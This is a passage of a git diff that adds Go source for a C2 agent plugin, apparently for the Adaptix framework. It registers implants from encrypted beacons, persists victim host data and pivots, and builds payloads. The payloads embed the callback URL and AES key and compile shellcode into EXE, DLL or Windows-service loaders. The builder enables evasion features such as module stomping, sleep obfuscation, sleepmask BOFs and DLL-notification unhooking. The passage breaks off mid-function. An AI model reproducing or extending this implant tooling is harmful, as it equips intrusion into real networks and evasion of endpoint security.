b/src_server/agent_nonameax/pl_agent.go @@ -0,0 +1,257 @@ +package main + +import ( + "encoding/json" + "errors" + "fmt" + + adaptix "github.com/Adaptix-Framework/axc2" +) + +// cachedAgentIdentity holds the identity fields persisted via TsExtenderData +// so that they survive teamserver restarts. Only the fields populated from a +// REGISTER frame are stored. +type cachedAgentIdentity struct { + Computer string + Username string + Pid string + Tid string + Arch string + Sleep uint + InternalIP string + Domain string + Process string + Elevated bool + ACP int + OemCP int + OsDesc string +} + +// loadCacheFromStore reads the persisted identity cache into agentIdentityCache. +func loadCacheFromStore() { + if Ts == nil { + return + } + keys, err := Ts.TsExtenderDataKeys(extenderNameAgents) + if err != nil || len(keys) == 0 { + return + } + count := 0 + for _, key := range keys { + raw, err := Ts.TsExtenderDataLoad(extenderNameAgents, key) + if err != nil || len(raw) == 0 { + continue + } + var e cachedAgentIdentity + if err := json.Unmarshal(raw, &e); err != nil { + continue + } + ad := adaptix.AgentData{ + Computer: e.Computer, Username: e.Username, Pid: e.Pid, + Tid: e.Tid, Arch: e.Arch, Sleep: e.Sleep, + InternalIP: e.InternalIP, Domain: e.Domain, + Process: e.Process, Elevated: e.Elevated, + ACP: e.ACP, OemCP: e.OemCP, OsDesc: e.OsDesc, + } + agentIdentityCache.Store(key, ad) + count++ + } + naxLogInfo("loadCacheFromStore: loaded %d agent(s)", count) +} + +// saveCacheEntry persists a single agent's identity to the teamserver store. +func saveCacheEntry(beaconID string, ad adaptix.AgentData) { + if Ts == nil { + return + } + e := cachedAgentIdentity{ + Computer: ad.Computer, Username: ad.Username, Pid: ad.Pid, + Tid: ad.Tid, Arch: ad.Arch, Sleep: ad.Sleep, + InternalIP: ad.InternalIP, Domain: ad.Domain, + Process: ad.Process, Elevated: ad.Elevated, + ACP: ad.ACP, OemCP: ad.OemCP, OsDesc: ad.OsDesc, + } + data, err := json.Marshal(e) + if err != nil { + naxLogErr("saveCacheEntry: JSON encode error: %v", err) + return + } + if err := Ts.TsExtenderDataSave(extenderNameAgents, beaconID, data); err != nil { + naxLogErr("saveCacheEntry: save error: %v", err) + } +} + +// --- Pivot persistence --- + +type cachedPivot struct { + ParentAgentId string + ChildAgentId string +} + +func clearChildMark(childAgentId string) { + if Ts == nil || childAgentId == "" { + return + } + emptyMark := "" + _ = Ts.TsAgentUpdateDataPartial(childAgentId, struct { + Mark *string `json:"mark"` + }{Mark: &emptyMark}) +} + +func savePivotToStore(pivotId, parentAgentId, childAgentId string) { + if Ts == nil { + return + } + data, err := json.Marshal(cachedPivot{ParentAgentId: parentAgentId, ChildAgentId: childAgentId}) + if err != nil { + return + } + _ = Ts.TsExtenderDataSave(extenderNamePivots, pivotId, data) +} + +func deletePivotFromStore(pivotId string) { + if Ts == nil { + return + } + _ = Ts.TsExtenderDataDelete(extenderNamePivots, pivotId) +} + +func deleteAgentPivotsFromStore(agentId string) { + if Ts == nil { + return + } + keys, err := Ts.TsExtenderDataKeys(extenderNamePivots) + if err != nil { + return + } + for _, pivotId := range keys { + raw, err := Ts.TsExtenderDataLoad(extenderNamePivots, pivotId) + if err != nil || len(raw) == 0 { + continue + } + var p cachedPivot + if err := json.Unmarshal(raw, &p); err != nil { + continue + } + if p.ParentAgentId == agentId || p.ChildAgentId == agentId { + _ = Ts.TsExtenderDataDelete(extenderNamePivots, pivotId) + } + } +} + +// registerCleanupHooks registers event hooks that clean up persisted data +// when an agent is terminated from the operator UI. +func registerCleanupHooks() { + if Ts == nil { + return + } + Ts.TsEventHookOnPost("agent.terminate", "nax_cleanup_agent", func(data any) error { + agentId, ok := data.(string) + if !ok { + return nil + } + agentIdentityCache.Delete(agentId) + _ = Ts.TsExtenderDataDelete(extenderNameAgents, agentId) + _ = Ts.TsExtenderDataDelete(extenderNameProfiles, agentId) + deleteAgentPivotsFromStore(agentId) + pendingProfiles.Delete(agentId) + naxLogInfo("agent.terminate cleanup: %s", agentId) + return nil + }) +} + +// CreateAgent decodes the first beacon body and returns a populated AgentData. +// +// The listener prepends the 16-char hex beaconID (from X-Beacon-Id) to the +// wire frame before calling TsAgentCreate, so that we can set AgentData.Id +// to that same ID. Adaptix uses AgentData.Id as the session lookup key for +// TsAgentIsExists / TsAgentProcessData / TsAgentGetHostedAll - it must match +// the ID the listener passes to those calls (i.e. the beaconID). +// +// CreateAgent is invoked both for the genuine first contact (REGISTER frame +// from a fresh implant) AND when the listener has to re-register an agent +// the operator deleted from the UI (the implant has no way to know about +// the deletion, so it keeps sending HEARTBEAT). For the HEARTBEAT case we +// fall back to placeholder values - the implant's identity is unknown until +// it sends another REGISTER on its own (e.g. after restart). +func (p *PluginAgent) CreateAgent(beat []byte) (adaptix.AgentData, adaptix.ExtenderAgent, error) { + if len(beat) < 32 { + return adaptix.AgentData{}, nil, errors.New("nonameax: CreateAgent: beat too short (need ≥32 bytes: 16 beaconID + 16 AES key)") + } + beaconID := string(beat[:16]) + aesKey := make([]byte, 16) + copy(aesKey, beat[16:32]) + frameData := beat[32:] + + ad := adaptix.AgentData{ + Id: beaconID, + Os: adaptix.OS_WINDOWS, + SessionKey: aesKey, + } + + naxLogInfo("CreateAgent: beaconID=%s keyPrefix=%x frameDataLen=%d first16=%x", beaconID, aesKey[:4], len(frameData), frameData[:min(16, len(frameData))]) + decrypted, err := DecryptCBC(aesKey, frameData) + if err != nil { + naxLogErr("CreateAgent: decrypt FAILED beaconID=%s keyPrefix=%x frameDataLen=%d: %v", beaconID, aesKey[:4], len(frameData), err) + return ad, &ExtenderAgent{}, nil + } + frameData = decrypted + msgType, _, body, err := DecodeFrame(frameData) + if err != nil { + naxLogErr("CreateAgent: DecodeFrame failed: %v (frameData len=%d)", err, len(frameData)) + return ad, &ExtenderAgent{}, nil + } + naxLogInfo("CreateAgent: frame type=0x%02x bodyLen=%d", msgType, len(body)) + + if msgType != WireTypeRegister { + if cached, ok := agentIdentityCache.Load(beaconID); ok { + cachedAd := cached.(adaptix.AgentData) + ad.Computer = cachedAd.Computer + ad.Username = cachedAd.Username + ad.Pid = cachedAd.Pid + ad.Tid = cachedAd.Tid + ad.Arch = cachedAd.Arch + ad.Sleep = cachedAd.Sleep + ad.InternalIP = cachedAd.InternalIP + ad.Domain = cachedAd.Domain + ad.Process = cachedAd.Process + ad.Elevated = cachedAd.Elevated + ad.ACP = cachedAd.ACP + ad.OemCP = cachedAd.OemCP + ad.OsDesc = cachedAd.OsDesc + } + return ad, &ExtenderAgent{}, nil + } + + reg, err := DecodeRegister(body) + if err != nil { + return adaptix.AgentData{}, nil, err + } + + archStr := "x64" + if reg.Arch == 0x02 { + archStr = "x86" + } + + ad.Computer = reg.Hostname + ad.Username = reg.Username + ad.Pid = fmt.Sprintf("%d", reg.Pid) + ad.Tid = fmt.Sprintf("%d", reg.Tid) + ad.Arch = archStr + ad.Sleep = uint(reg.SleepMs / 1000) + ad.InternalIP = reg.Ip + ad.Domain = reg.Domain + ad.Process = reg.ProcessName + ad.Elevated = reg.Elevated != 0 + ad.ACP = int(reg.Acp) + ad.OemCP = int(reg.OemCp) + ad.OsDesc = naxOsVersion(reg.OsMajor, reg.OsMinor, reg.OsBuild, archStr) + + naxLogOk("CreateAgent: beaconID=%s host=%s user=%s pid=%d tid=%d arch=%s ip=%s domain=%s proc=%s elevated=%v os=%s acp=%d oemcp=%d ppid=%d img=%s", + beaconID, reg.Hostname, reg.Username, reg.Pid, reg.Tid, archStr, reg.Ip, reg.Domain, reg.ProcessName, ad.Elevated, ad.OsDesc, reg.Acp, reg.OemCp, reg.ParentPid, reg.ImgPath) + + agentIdentityCache.Store(beaconID, ad) + saveCacheEntry(beaconID, ad) + + return ad, &ExtenderAgent{}, nil +} diff --git a/src_server/agent_nonameax/pl_build.go b/src_server/agent_nonameax/pl_build.go new file mode 100644 index 0000000..6b50011 --- /dev/null +++ b/src_server/agent_nonameax/pl_build.go @@ -0,0 +1,348 @@ +package main + +import ( + "bytes" + "fmt" + "os" + "os/exec" + "path/filepath" + "strings" + "sync" +) + +var buildMu sync.Mutex + +func writeCharWriteMacro(buf *bytes.Buffer, name string, s string, perLine int, wide bool) { + fmt.Fprintf(buf, "#define %s( p ) do { \\\n", name) + for i, c := range s { + if i%perLine == 0 { + buf.WriteString(" ") + } + if wide { + fmt.Fprintf(buf, "(p)[%2d]=L'%c'; ", i, c) + } else { + fmt.Fprintf(buf, "(p)[%2d]='%c'; ", i, c) + } + if i%perLine == perLine-1 { + buf.WriteString("\\\n") + } + } + if len([]rune(s))%perLine != 0 { + buf.WriteString("\\\n") + } + if wide { + fmt.Fprintf(buf, " (p)[%2d]=L'\\0'; \\\n", len([]rune(s))) + } else { + fmt.Fprintf(buf, " (p)[%2d]='\\0'; \\\n", len(s)) + } + buf.WriteString("} while(0)\n") +} + +func writeBytesWriteMacro(buf *bytes.Buffer, name string, data []byte, perLine int, fieldWidth int) { + fmt.Fprintf(buf, "#define %s( p ) do { \\\n", name) + for i, b := range data { + if i%perLine == 0 { + buf.WriteString(" ") + } + fmt.Fprintf(buf, "(p)[%*d]=0x%02X; ", fieldWidth, i, b) + if i%perLine == perLine-1 { + buf.WriteString("\\\n") + } + } + if len(data)%perLine != 0 { + buf.WriteString("\\\n") + } + buf.WriteString("} while(0)\n") +} + +// writeIfChanged writes data to path only when the content differs from what's +// already on disk. This preserves the file's mtime so Make's auto-deps skip +// recompilation of objects that depend on the file. +func writeIfChanged(path string, data []byte) error { + if existing, err := os.ReadFile(path); err == nil && bytes.Equal(existing, data) { + return nil + } + return os.WriteFile(path, data, 0644) +} + +// generateConfigH produces the main Config.h (readable, small) and returns it. +// generateProfileH produces the separate Config_profile.h (large WRITE macro). +// Both are called by BuildPayload and written to src_beacon/include/. +func generateConfigH(host string, port int, path string, key []byte, sleepMs uint32, jitterPct uint32, profileBytes []byte, watermark uint32, listenerWatermark uint32, gateAPIs []string, ssl bool) []byte { + if len(key) != 16 { + panic(fmt.Sprintf("generateConfigH: key must be 16 bytes, got %d", len(key))) + } + scheme := "http" + defaultPort := 80 + if ssl { + scheme = "https" + defaultPort = 443 + } + var url string + if port == defaultPort { + url = fmt.Sprintf("%s://%s%s", scheme, host, path) + } else { + url = fmt.Sprintf("%s://%s:%d%s", scheme, host, port, path) + } + + keyHex := fmt.Sprintf("%x", key) + + var buf bytes.Buffer + + // Header banner with human-readable summary + buf.WriteString("/* Config.h - generated by BuildPayload\n") + buf.WriteString(" *\n") + fmt.Fprintf(&buf, " * C2 URL: %s\n", url) + fmt.Fprintf(&buf, " * AES Key: %s\n", keyHex) + fmt.Fprintf(&buf, " * Sleep: %d ms Jitter: %d%%\n", sleepMs, jitterPct) + if len(profileBytes) > 0 { + fmt.Fprintf(&buf, " * Profile: v2, %d bytes\n", len(profileBytes)) + } + buf.WriteString(" */\n\n") + buf.WriteString("#pragma once\n\n") + + // Scalar defines + fmt.Fprintf(&buf, "#define NAX_SLEEP_MS %du\n", sleepMs) + fmt.Fprintf(&buf, "#define NAX_JITTER_PCT %du\n", jitterPct) + buf.WriteString("#define NAX_SID_LEN 17u\n") + fmt.Fprintf(&buf, "#define NAX_WATERMARK 0x%08Xu\n", watermark) + fmt.Fprintf(&buf, "#define NAX_LISTENER_WM 0x%08Xu\n\n", listenerWatermark) + + // BeaconGate compile-time flags - NAX_GATE_ + TOUPPER(FunctionName) + for _, api := range gateAPIs { + fmt.Fprintf(&buf, "#define NAX_GATE_%s\n", strings.ToUpper(api)) + } + if len(gateAPIs) > 0 { + buf.WriteString("\n") + } + + buf.WriteString("/* PIC-safe per-byte writes - prevents GCC from pooling into .rdata */\n") + writeBytesWriteMacro(&buf, "NAX_AES_KEY_WRITE", key, 8, 2) + buf.WriteString("\n") + writeCharWriteMacro(&buf, "NAX_C2_URL_WRITE", url, 8, false) + buf.WriteString("\n") + + // Profile - length define here, WRITE macro in separate file + if len(profileBytes) > 0 { + fmt.Fprintf(&buf, "#define NAX_PROFILE_LEN %du\n", len(profileBytes)) + buf.WriteString("#include \"Config_profile.h\"\n") + } + + return buf.Bytes() +} + +// generateBofStompConfig appends BOF module stomping defines to a Config.h buffer. +// syncDll is the single DLL for sync BOF; asyncDlls is the pool for async BOFs. +// Uses WCHAR per-element WRITE macros (L'x') - PIC-safe, same pattern as NAX_C2_URL_WRITE. +func generateBofStompConfig(buf *bytes.Buffer, enabled bool, syncDll string, asyncDlls []string, smStompDll string) { + buf.WriteString("\n/* ---- BOF module stomping ---- */\n") + if !enabled { + buf.WriteString("#define NAX_BOF_STOMP 0\n") + return + } + buf.WriteString("#define NAX_BOF_STOMP 1\n\n") + + writeCharWriteMacro(buf, "NAX_BOF_SYNC_DLL_WRITE", syncDll, 4, true) + buf.WriteString("\n") + + // Async DLLs - count + per-DLL write macros + count := len(asyncDlls) + if count > 4 { + count = 4 + } + fmt.Fprintf(buf, "#define NAX_BOF_ASYNC_COUNT %d\n", count) + + for idx := 0; idx < count; idx++ { + buf.WriteString("\n") + writeCharWriteMacro(buf, fmt.Sprintf("NAX_BOF_ASYNC_%d_WRITE", idx), asyncDlls[idx], 4, true) + } + + if smStompDll != "" { + buf.WriteString("\n/* ---- sleepmask stomp DLL ---- */\n") + writeCharWriteMacro(buf, "NAX_SM_STOMP_DLL_WRITE", smStompDll, 4, true) + } +} + +// generateProfileH produces Config_profile.h containing only the large +// NAX_PROFILE_WRITE macro. Kept separate so Config.h stays readable. +func generateProfileH(profileBytes []byte) []byte { + var buf bytes.Buffer + + buf.WriteString("/* Config_profile.h - auto-generated profile WRITE macro\n") + fmt.Fprintf(&buf, " * %d bytes, included by Config.h */\n\n", len(profileBytes)) + + writeBytesWriteMacro(&buf, "NAX_PROFILE_WRITE", profileBytes, 8, 3) + + return buf.Bytes() +} + +// generateSmbConfigH produces Config.h for the SMB transport variant. +// No profile embedding - SMB child uses raw pipe framing, not HTTP malleable profile. +func generateSmbConfigH(pipeName string, key []byte, sleepMs uint32, jitterPct uint32, watermark uint32, listenerWatermark uint32, gateAPIs []string) []byte { + if len(key) != 16 { + panic(fmt.Sprintf("generateSmbConfigH: key must be 16 bytes, got %d", len(key))) + } + keyHex := fmt.Sprintf("%x", key) + + var buf bytes.Buffer + + buf.WriteString("/* Config.h - generated by BuildPayload (SMB)\n") + buf.WriteString(" *\n") + fmt.Fprintf(&buf, " * Pipe: %s\n", pipeName) + fmt.Fprintf(&buf, " * AES Key: %s\n", keyHex) + fmt.Fprintf(&buf, " * Sleep: %d ms Jitter: %d%%\n", sleepMs, jitterPct) + buf.WriteString(" */\n\n") + buf.WriteString("#pragma once\n\n") + + fmt.Fprintf(&buf, "#define NAX_SLEEP_MS %du\n", sleepMs) + fmt.Fprintf(&buf, "#define NAX_JITTER_PCT %du\n", jitterPct) + buf.WriteString("#define NAX_SID_LEN 17u\n") + fmt.Fprintf(&buf, "#define NAX_WATERMARK 0x%08Xu\n", watermark) + fmt.Fprintf(&buf, "#define NAX_LISTENER_WM 0x%08Xu\n\n", listenerWatermark) + + for _, api := range gateAPIs { + fmt.Fprintf(&buf, "#define NAX_GATE_%s\n", strings.ToUpper(api)) + } + if len(gateAPIs) > 0 { + buf.WriteString("\n") + } + + writeBytesWriteMacro(&buf, "NAX_AES_KEY_WRITE", key, 8, 2) + buf.WriteString("\n") + writeCharWriteMacro(&buf, "NAX_C2_URL_WRITE", pipeName, 8, false) + buf.WriteString("\n") + + return buf.Bytes() +} + +// generateSleepmaskH produces Config_sleepmask.h containing the embedded +// sleepmask BOF WRITE macro. Kept separate so Config.h stays readable. +func generateSleepmaskH(bofBytes []byte) []byte { + var buf bytes.Buffer + + buf.WriteString("/* Config_sleepmask.h - auto-generated sleepmask BOF embed\n") + fmt.Fprintf(&buf, " * %d bytes, included by Config.h */\n\n", len(bofBytes)) + + writeBytesWriteMacro(&buf, "NAX_SLEEPMASK_WRITE", bofBytes, 8, 4) + + return buf.Bytes() +} + +/* ========= [ PE wrapper compilation ] ========= */ + +func generateShellcodeH(blob []byte) []byte { + var buf bytes.Buffer + buf.WriteString("#pragma once\n\n") + buf.WriteString("namespace Shellcode {\n") + buf.WriteString(" __attribute__((used, section(\".text\")))\n") + buf.WriteString(" unsigned char Data[] = {\n") + + for i, b := range blob { + if i%16 == 0 { + buf.WriteString(" ") + } + fmt.Fprintf(&buf, "0x%02X,", b) + if i%16 == 15 || i == len(blob)-1 { + buf.WriteString("\n") + } else { + buf.WriteByte(' ') + } + } + + buf.WriteString(" };\n") + buf.WriteString("}\n") + return buf.Bytes() +} + +func compileWrapper(pic []byte, format, svcName, dllExport string, debug bool, logFn func(int, string, ...any)) ([]byte, string, error) { + tmpDir, err := os.MkdirTemp("", "nax_pe_wrap_") + if err != nil { + return nil, "", fmt.Errorf("create temp dir: %w", err) + } + defer os.RemoveAll(tmpDir) + + if err := os.WriteFile(filepath.Join(tmpDir, "Shellcode.h"), generateShellcodeH(pic), 0644); err != nil { + return nil, "", fmt.Errorf("write Shellcode.h: %w", err) + } + + tplDir := filepath.Join(resolveNaxRoot(), "src_server", "agent_nonameax", "pe_templates") + + var sourceFile, outName string + var extraFlags []string + + switch format { + case "exe": + sourceFile = filepath.Join(tplDir, "Exe.cc") + outName = "nax.x64.exe" + case "dll": + sourceFile = filepath.Join(tplDir, "Dll.cc") + outName = "nax.x64.dll" + extraFlags = append(extraFlags, "-shared") + case "svc": + sourceFile = filepath.Join(tplDir, "Svc.cc") + outName = "nax.x64.svc.exe" + extraFlags = append(extraFlags, "-ladvapi32") + default: + return nil, "", fmt.Errorf("unknown PE format: %s", format) + } + + if debug { + outName = strings.Replace(outName, "nax.x64", "nax.x64.debug", 1) + } + + outPath := filepath.Join(tmpDir, outName) + + subsystem := "-mwindows" + if debug { + subsystem = "-mconsole" + } + + args := []string{ + "-I", tmpDir, + "-I", tplDir, + "-o", outPath, + sourceFile, + "-Os", subsystem, + "-nostdlib", "-s", + "-Wl,-eWinMainCRTStartup", + "-lkernel32", + } + + if format == "svc" { + svcDefine := fmt.Sprintf("-DNAX_SVC_NAME=L\"%s\"", svcName) + args = append(args, svcDefine) + } + + args = append(args, extraFlags...) + + if format == "dll" && dllExport != "" && dllExport != "Runner" { + defPath := filepath.Join(tmpDir, "exports.def") + defContent := fmt.Sprintf("EXPORTS\n %s=Runner\n", dllExport) + if err := os.WriteFile(defPath, []byte(defContent), 0644); err != nil { + return nil, "", fmt.Errorf("write exports.def: %w", err) + } + args = append(args, defPath) + } + + compiler := "x86_64-w64-mingw32-g++" + if logFn != nil { + logFn(1, "PE wrapper: %s %s → %s", compiler, format, outName) + } + + cmd := exec.Command(compiler, args...) + cmdOut, cmdErr := cmd.CombinedOutput() + if cmdErr != nil { + return nil, "", fmt.Errorf("%s failed: %v\n%s", compiler, cmdErr, string(cmdOut)) + } + + peBytes, err := os.ReadFile(outPath) + if err != nil { + return nil, "", fmt.Errorf("read output PE: %w", err) + } + + if logFn != nil { + logFn(3, "PE wrapper: %s built (%d bytes)", outName, len(peBytes)) + } + + return peBytes, outName, nil +} diff --git a/src_server/agent_nonameax/pl_build_payload.go b/src_server/agent_nonameax/pl_build_payload.go new file mode 100644 index 0000000..58f54dc --- /dev/null +++ b/src_server/agent_nonameax/pl_build_payload.go @@ -0,0 +1,548 @@ +package main + +import ( + "bytes" + "encoding/hex" + "encoding/json" + "errors" + "fmt" + "os" + "os/exec" + "path/filepath" + "strconv" + "strings" + + adaptix "github.com/Adaptix-Framework/axc2" +) + +func splitHostPort(hp string) (host string, port int, portExplicit bool) { + idx := strings.LastIndex(hp, ":") + if idx < 0 { + return hp, 0, false + } + host = hp[:idx] + p, err := strconv.Atoi(hp[idx+1:]) + if err != nil || p < 1 || p > 65535 { + return host, 0, false + } + return host, p, true +} + +func resolveNaxRoot() string { + confPath := filepath.Join(ModuleDir, "nax_root.conf") + if data, err := os.ReadFile(confPath); err == nil { + root := strings.TrimSpace(string(data)) + if root != "" { + root, _ = filepath.Abs(root) + return root + } + } + root := filepath.Join(ModuleDir, "..", "..", "..", "NaX") + root, _ = filepath.Abs(root) + return root +} + +func (p *PluginAgent) BuildPayload(profile adaptix.BuildProfile, agentProfiles [][]byte) ([]byte, string, error) { + var agentCfg map[string]any + if err := json.Unmarshal([]byte(profile.AgentConfig), &agentCfg); err != nil { + return nil, "", fmt.Errorf("nonameax: BuildPayload: agent config: %w", err) + } + + if len(profile.ListenerProfiles) == 0 { + return nil, "", errors.New("nonameax: BuildPayload: no listener selected") + } + var listenerCfg map[string]any + if err := json.Unmarshal(profile.ListenerProfiles[0].Profile, &listenerCfg); err != nil { + return nil, "", fmt.Errorf("nonameax: BuildPayload: listener config: %w", err) + } + + _, isSMB := listenerCfg["pipename"] + + encKeyHex, _ := listenerCfg["encrypt_key"].(string) + key, err := hex.DecodeString(encKeyHex) + if err != nil || len(key) != 16 { + return nil, "", fmt.Errorf("nonameax: BuildPayload: encrypt_key must be 32 hex chars (got %q)", encKeyHex) + } + + naxLogInfo("BuildPayload: listener=%v keyHex=%s keyPrefix=%x", profile.ListenerProfiles[0].Watermark, encKeyHex, key[:4]) + + wmVal, wmErr := strconv.ParseUint(AgentWatermark, 16, 32) + if wmErr != nil { + return nil, "", fmt.Errorf("nonameax: BuildPayload: bad watermark %q", AgentWatermark) + } + watermark := uint32(wmVal) + + listenerWmStr := profile.ListenerProfiles[0].Watermark + lwmVal, lwmErr := strconv.ParseUint(listenerWmStr, 16, 32) + if lwmErr != nil { + return nil, "", fmt.Errorf("nonameax: BuildPayload: bad listener watermark %q", listenerWmStr) + } + listenerWatermark := uint32(lwmVal) + + naxRoot := resolveNaxRoot() + makefile := filepath.Join(naxRoot, "Makefile") + if _, err := os.Stat(makefile); err != nil { + return nil, "", fmt.Errorf("nonameax: BuildPayload: NaX source not found at %s (set via nax_root.conf or relative fallback)", naxRoot) + } + + configPath := filepath.Join(naxRoot, "src_beacon", "include", "Config.h") + + var configH []byte + var profileBytes []byte + var transportProfile int + var sleepMs uint32 + var jitterPct uint32 + + var gateAPIs []string + if raw, ok := agentCfg["gate_apis"].([]any); ok { + for _, item := range raw { + if s, ok := item.(string); ok && s != "" { + gateAPIs = append(gateAPIs, s) + } + } + } + + if isSMB { + pipeName, _ := listenerCfg["pipename"].(string) + if pipeName == "" { + pipeName = "naxsmb" + } + configH = generateSmbConfigH(pipeName, key, 0, 0, watermark, listenerWatermark, gateAPIs) + transportProfile = 1 + } else { + sleepSec := 10 + switch v := agentCfg["sleep"].(type) { + case float64: + sleepSec = int(v) + case string: + if n, err := strconv.Atoi(v); err == nil { + sleepSec = n + } + } + if sleepSec < 1 { + sleepSec = 10 + } + sleepMs = uint32(sleepSec) * 1000 + + switch v := agentCfg["jitter"].(type) { + case float64: + jitterPct = uint32(v) + case string: + if n, err := strconv.Atoi(v); err == nil { + jitterPct = uint32(n) + } + } + if jitterPct > 100 { + jitterPct = 0 + } + + profCfg := parseProfileFromListenerConfig(listenerCfg) + if len(profCfg.Hosts) == 0 { + return nil, "", errors.New("nonameax: BuildPayload: no callback hosts in listener profile (set Hosts in the listener config)") + } + profileBytes = EncodeProfileBodyV2(profCfg) + + callbackHost, callbackPort, portExplicit := splitHostPort(profCfg.Hosts[0]) + + bootURI := "/api/v1/status" + if len(profCfg.Post.URIs) > 0 { + bootURI = profCfg.Post.URIs[0] + } + + listenerSSL, _ := listenerCfg["ssl"].(bool) + if !portExplicit { + if listenerSSL { + callbackPort = 443 + } else { + callbackPort = 80 + } + } + configH = generateConfigH(callbackHost, callbackPort, bootURI, key, sleepMs, jitterPct, profileBytes, watermark, listenerWatermark, gateAPIs, listenerSSL) + transportProfile = 0 + } + + debug := false + if v, ok := agentCfg["debug"].(bool); ok { + debug = v + } else if v, ok := agentCfg["debug"].(string); ok && v == "true" { + debug = true + } + + fullRebuild := false + if v, ok := agentCfg["full_rebuild"].(bool); ok { + fullRebuild = v + } + + moduleStomp := true + if v, ok := agentCfg["module_stomp"].(bool); ok { + moduleStomp = v + } + + stompDll := "chakra.dll" + if v, ok := agentCfg["stomp_dll"].(string); ok && v != "" { + stompDll = v + } + + stompUnwind := true + if v, ok := agentCfg["stomp_unwind"].(bool); ok { + stompUnwind = v + } + + useThreadPool := true + if v, ok := agentCfg["thread_pool"].(bool); ok { + useThreadPool = v + } + + beacongate := false + if v, ok := agentCfg["beacongate"].(bool); ok { + beacongate = v + } + _ = beacongate + + unhookDllNotify := true + + bofStomp := true + if v, ok := agentCfg["bof_stomp"].(bool); ok { + bofStomp = v + } + + bofStompDll := "chakra.dll" + if v, ok := agentCfg["bof_stomp_dll"].(string); ok && v != "" { + bofStompDll = v + } + + bofStompPool := []string{"jscript9.dll", "mshtml.dll", "d3d11.dll"} + if raw, ok := agentCfg["bof_stomp_pool"].([]any); ok && len(raw) > 0 { + bofStompPool = nil + for _, item := range raw { + if s, ok := item.(string); ok && s != "" { + bofStompPool = append(bofStompPool, s) + } + } + } + + smStompDll := "" + if beacongate && bofStomp { + smStompDll = "msmpeg2vdec.dll" + if v, ok := agentCfg["sm_stomp_dll"].(string); ok && v != "" { + smStompDll = v + } + } + + sleepObf := "1" + switch v := agentCfg["sleep_obf"].(type) { + case string: + switch strings.ToLower(v) { + case "off": + sleepObf = "0" + default: + sleepObf = "1" + } + case bool: + if !v { + sleepObf = "0" + } + case float64: + if int(v) == 0 { + sleepObf = "0" + } + } + + outputFormat := "bin" + if v, ok := agentCfg["output_format"].(string); ok && v != "" { + outputFormat = strings.ToLower(v) + } + + svcName := "NaxService" + if v, ok := agentCfg["svc_name"].(string); ok && v != "" { + svcName = v + } + + dllExport := "Runner" + if v, ok := agentCfg["dll_export"].(string); ok && v != "" { + dllExport = v + } + + buildMu.Lock() + defer buildMu.Unlock() + + bid := profile.BuilderId + + buildLog := func(status int, msg string, args ...any) { + m := fmt.Sprintf(msg, args...) + if Ts != nil && bid != "" { + _ = Ts.TsAgentBuildLog(bid, status, m) + } + switch status { + case 2: + naxLogErr("BuildPayload: %s", m) + case 3: + naxLogOk("BuildPayload: %s", m) + default: + naxLogInfo("BuildPayload: %s", m) + } + } + + if isSMB { + pipeName, _ := listenerCfg["pipename"].(string) + buildLog(1, "transport=SMB pipe=%s (async, no sleep)", pipeName) + } else { + callbackHost, _ := agentCfg["callback_host"].(string) + callbackPort := 8080 + if v, ok := agentCfg["callback_port"].(float64); ok { + callbackPort = int(v) + } + buildLog(1, "transport=HTTP callback=%s:%d sleep=%dms jitter=%d%%", callbackHost, callbackPort, sleepMs, jitterPct) + } + buildLog(1, "debug=%v full_rebuild=%v", debug, fullRebuild) + buildLog(1, "module_stomp=%v stomp_dll=%s stomp_unwind=%v thread_pool=%v", moduleStomp, stompDll, stompUnwind, useThreadPool) + buildLog(1, "bof_stomp=%v bof_sync_dll=%s bof_async_pool=%v sm_stomp_dll=%s", bofStomp, bofStompDll, bofStompPool, smStompDll) + buildLog(1, "unhook_dll_notify=%v", unhookDllNotify) + sleepObfName := map[string]string{"0": "disabled", "1": "enabled"}[sleepObf] + buildLog(1, "sleep_obf=%s (%s)", sleepObf, sleepObfName) + + // Append sleep obfuscation defaults to Config.h (must live here so + // the link-only path recompiles Config.c with the correct values). + { + var obfBuf bytes.Buffer + obfBuf.Write(configH) + fmt.Fprintf(&obfBuf, "\n/* ---- sleep obfuscation defaults ---- */\n") + fmt.Fprintf(&obfBuf, "#define NAX_DEFAULT_SLEEP_OBF %s\n", sleepObf) + configH = obfBuf.Bytes() + } + + // Append BOF stomp config to Config.h + { + var bofBuf bytes.Buffer + bofBuf.Write(configH) + generateBofStompConfig(&bofBuf, bofStomp, bofStompDll, bofStompPool, smStompDll) + if unhookDllNotify { + bofBuf.WriteString("\n/* ---- DLL notification unhooking ---- */\n") + bofBuf.WriteString("#define NAX_UNHOOK_DLL_NOTIFY 1\n") + } else { + bofBuf.WriteString("\n#define NAX_UNHOOK_DLL_NOTIFY 0\n") + } + configH = bofBuf.Bytes() + } + + /* ========= [ build sleepmask BOF (if beacongate) ] ========= */ + var sleepmaskBytes []byte + if beacongate { + smTarget := "all" + if debug { + smTarget = "debug" + } + smArgs := []string{"-C", filepath.Join(naxRoot, "src_sleepmask"), smTarget} + buildLog(1, "Building sleepmask BOF") + smCmd := exec.Command("make", smArgs...) + smOut, smErr := smCmd.CombinedOutput() + if smErr != nil { + buildLog(2, "Sleepmask build failed: %v\n%s", smErr, string(smOut)) + } else { + smPath := filepath.Join(naxRoot, "src_sleepmask", "dist", "sleepmask.x64.o") + if smBytes, err := os.ReadFile(smPath); err == nil && len(smBytes) > 0 { + sleepmaskBytes = smBytes + sleepmaskBofCache = smBytes + buildLog(1, "Sleepmask BOF: %d bytes (embedded + cached)", len(smBytes)) + } else { + buildLog(2, "Sleepmask BOF not found at %s", smPath) + } + } + } + + // Append sleepmask embed to Config.h + if len(sleepmaskBytes) > 0 { + var smBuf bytes.Buffer + smBuf.Write(configH) + fmt.Fprintf(&smBuf, "\n/* ---- embedded sleepmask BOF ---- */\n") + fmt.Fprintf(&smBuf, "#define NAX_SLEEPMASK_LEN %du\n", len(sleepmaskBytes)) + smBuf.WriteString("#include \"Config_sleepmask.h\"\n") + configH = smBuf.Bytes() + } + + buildLog(1, "Generating Config.h (%d bytes)", len(configH)) + if err := writeIfChanged(configPath, configH); err != nil { + buildLog(2, "Failed to write Config.h: %v", err) + return nil, "", fmt.Errorf("nonameax: BuildPayload: write Config.h: %w", err) + } + if len(profileBytes) > 0 { + buildLog(1, "profile v2: %d bytes embedded", len(profileBytes)) + profilePath := filepath.Join(naxRoot, "src_beacon", "include", "Config_profile.h") + profileH := generateProfileH(profileBytes) + if err := writeIfChanged(profilePath, profileH); err != nil { + buildLog(2, "Failed to write Config_profile.h: %v", err) + return nil, "", fmt.Errorf("nonameax: BuildPayload: write Config_profile.h: 